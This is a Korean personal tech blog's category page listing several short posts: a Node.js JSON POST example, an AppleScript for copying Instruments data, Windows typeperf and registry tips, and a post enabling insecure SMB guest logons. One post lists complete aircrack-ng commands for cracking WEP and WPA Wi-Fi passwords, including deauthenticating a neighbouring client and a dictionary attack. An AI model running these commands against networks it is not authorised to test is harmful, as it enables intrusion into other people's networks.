"기술"에 해당하는 글들
페이지:1234567...19»

POST로 JSON 전송후 node.js에서 처리하기

2020-01-31   //   alexken작성   //   기술  //  No Comments

주의사항
1: 서버에 전송할 때 HTTP 헤더에 “Content-Type: application/json” 반드시 설정할 것
2: JSON의 string 표기할때 이스케이프 처리해서라도 쌍따옴표로 사용할 것
3: bodyParser에서 JSON 사용을 명시할 것

var express = require('express');
var bodyParser = require('body-parser')
var app = express();
var port = process.env.PORT || 8000;

const usage = 'curl "localhost:8000/get?a=3&b=4" or\n' +
              'curl -d "{\"a\":3,\"b\":4}" ' +
              '-H "Content-Type: application/json" localhost:8000/post';

app.use(bodyParser.json());

app.get('/', function(req, res) {
  res.send(usage);
});

app.post('/', function(req, res) {
  res.send(usage);
});

app.get('/get', function(req, res) {
  res.send('' + (parseInt(req.query.a) + parseInt(req.query.b)));
});

app.post('/post', function(req, res) {
  res.send('' + (req.body.a + req.body.b));
});

app.listen(port);

macOS에서 Instruments 성능 측정 결과 csv로 저장하기

2019-11-22   //   alexken작성   //   기술  //  No Comments

macOS에서 XCode에 포함된 Instruments 도구로 macOS 시스템, macOS용 애플리케이션 또는 iOS용 모바일앱의 자원사용률을 측정하면, 과거에는 csv로 내보내기할 수가 있었는데, 언제부터인가(한 1~2년전) 빼버렸는지 찾을 수가 없었다.

하지만 라인단위로 선택해서 붙여넣기는 여전히 가능해서,
“Instruments의 한줄 선택 –> Microsoft Code 텍스트 에디터로 복사”하는
AppleScript를 작성해서 사용하고 있다.

더 멋진 방법이 있는지 모르겠지만 난 이렇게 사용하고 있다. 끝.

(* Commant  *)
-- https://eastmanreference.com/complete-list-of-applescript-key-codes

display dialog "1. Open 'Instruments' and click the 'Active Monitor' area
2. Open the 'Microsoft Code'"


-- 복사할 라인수 입력
set x to the text returned of (display dialog "Enter line # to be copied" default answer "10")

-- 첫번째 줄로 이동 (option + ↑)
tell application "Instruments" to activate
tell application "System Events"
  keystroke (ASCII character 30) using option down
end tell

-- 새문서 만들기 (ctrl + n)
tell application "Visual Studio Code" to activate
tell application "System Events"
  keystroke "n" using command down
end tell

repeat x times
 
  tell application "Instruments" to activate
  delay 0.2
  tell application "System Events"
    -- ctrl + c
    keystroke "c" using command down
    -- 한줄 아래로(↓)
    keystroke (ASCII character 31)
  end tell
 
  tell application "Visual Studio Code" to activate
  delay 0.2
  tell application "System Events"
    -- ctrl + v
    keystroke "v" using command down
  end tell
end repeat

quit

Windows cmd에서 자원사용률 측정

2019-11-22   //   alexken작성   //   기술  //  No Comments

Windows 에서 시스템 또는 특정 프로세스의 자원사용률(CPU, Memory…)을 측정할 때,
성능 모니터(perfmon.msc)를 주로 사용하는데, 동일한 작업을 cmd에서 수행하는 방법을 정리한 글이다.

GUI 도구인 perfmon.msc 대신 CUI 명령줄 도구인 typeperf가 동일한 기능을 수행한다.

typeperf < counter [counter ...] > [options]
typeperf -cf < filename > [options]
typeperf -q [object] [options]
typeperf -qx [object] [options]

사용 가능한 카운터 목록을 조회하려면

C:\> typeperf -qx > count.txt

하면되지만 1.8MB짜리 40만개나 되는 목록을 얻게된다.

그냥

C:\>typeperf -sc 60 -si 1 "\Processor(_Total)\% Processor Time" "\Memory\Available MBytes" -o SC1.csv
C:\>typeperf -sc 60 -si 1 "\Processor(_Total)\% Processor Time" "\Process(_Total)\Private Bytes"

60초 동안 1초 간격으로 시스템 전체의 CPU 사용률과 가용 메모리량을 SC1.csv에 저장함
(※파일로 저장할때는 %%)

Windows에서 SMB 접속이 안될때

2019-06-12   //   alexken작성   //   기술  //  No Comments

1. gpedit.msc 실행
2. [로컬 컴퓨터 정책 > 관리 템플릿 > 네트워크 > Lanman 워크스테이션] 선택
2. 보안되지 않은 게스트 로그온 사용 –> 사용

Since Windows 10, Windows Server 2016

Realforce 101 키보드를 위한 키 리매핑(레지스트리)

2019-04-04   //   alexken작성   //   기술  //  No Comments

메인 키보드로 10년전 산 Realforce 101을 사용하고 있다.
즉 한영키와 Windows 키가 없다.

한영 전환은 shift-space로 하기 때문에 내겐 문제되지 않지만,
Caps Lock → Ctrl로
Ctrl → Windows 키로 동작하게 할 필요가 있다.

램상주하는 키 리매핑 프로그램도 있는거 같지만,
그냥 레지스트리를 편집해서 쓰는게 별도의 프로그램도 필요없고, 깔끔하다.

그래서 늘 아래와 같이 reg파일을 만들어 적용해서 사용하고,
2006년 작성한 CapsLock을 Ctrl로…도 이렇게 만들어진 것이다.

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layout]
"Scancode Map"=hex:00,00,00,00,00,00,00,00,03,00,00,00,1d,00,3a,00,e0,5b,1d,00,00,00,00,00

00,00,00,00, // 버전 (항상 0)
00,00,00,00, // 헤더 플래그 (항상 0)
03,00,00,00, // 키 리매핑 2개 + NULL 1개 = 총 3개
1d,00,3a,00, // L Ctrl(1d,00) ← CapsLock(3a,00)
e0,5b,1d,00, // L Win(e0,5b) ← L Ctrl(1d,00)
00,00,00,00 // NULL (종결자)

더 보기 >>

주요정보통신기반시설 취약점 분석·평가 기준

2019-03-19   //   alexken작성   //   기술  //  No Comments

[주요정보통신기반시설 취약점 분석·평가 기준]
[시행 2013. 8. 8.] [미래창조과학부고시 제2013-37호, 2013. 8. 8., 일부개정]

나중에 다시 찾을 일 있을거 같아 여기에 스크랩




무선 공유기 패스워드 …

2018-11-13   //   alexken작성   //   기술  //  No Comments

무슨 내용인지 하나로 모르지만 일단 정리…(타이핑은 시골집 고양이가 수행함)

Kali Linux에서 진행

AP MAC 90:9F:33:XX:XX:XX
Client MAC 64:6E:69:XX:XX:XX

기본 도구들

  • iwconfig
  • iw phy0 info
  • iwlist channel

WEP의 경우

1. 모니터 모드 시작 & AP 덤프

  airmon-ng start wlan0
  airodump-ng --channel 8 --bssid 90:9F:33:XX:XX:XX --write wepcrack wlan0mon

2. 데이터를 생성 하기 위해 인증 시도

  aireplay-ng -1 5000 -e SSID -a 90:9F:33:XX:XX:XX -h 64:6E:69:XX:XX:XX wlan0mon

3. ARP Injection으로 Data 강제 유발

  aireplay-ng -3 -b 90:9F:33:XX:XX:XX -h 64:6E:69:XX:XX:XX wlan0mon

4. IVS 값을 어느정도 수집하게 되면 크*

  aircrack-ng wepcrack.cap

WPA의 경우

1. 모니터 모드 시작 & AP 덤프

  airmon-ng start wlan0
  airodump-ng --channel 8 --bssid 90:9F:33:XX:XX:XX --write wepcrack wlan0mon

2. 옆에 놈 연결을 끊어서 EAPOL 노출

  aireplay-ng -0 10 -a 90:9F:33:XX:XX:XX -c 64:6E:69:XX:XX:XX wlan0mon

3. CAP 파일에서 사전공격으로 패스워드 추출

  aircrack-ng -b 90:9F:33:XX:XX:XX -w /usr/share/wordlists/rockyou.txt wifi-01.cap

블로그 업데이트

2018-06-25   //   alexken작성   //   기술  //  No Comments

1년에 글하나 쓸까 말까 한 블로그이지만,
오늘 대대적으로 업데이트를 단행하였음.

시작은 CodeColorer란 플러그인이 업데이트 되면서 PHP 5.6이상을 요구해서 이를 수정하기 위함이였다.

결국 Cafe24에서 DB 백업 받고, File 백업 받고, PHP 7.0을 지원하는 서버로 이전후, 새로 다 복원하였다.
겉보기엔 변화 하나 없지만, 실은 새로 다 설치한것임.

뭐 그냥 그랬다고..

PS. 깨작거리다 만거, 과거 글의 링크 깨진거 이제 부터 천천히 손봐야 겠다.

페이지:1234567...19»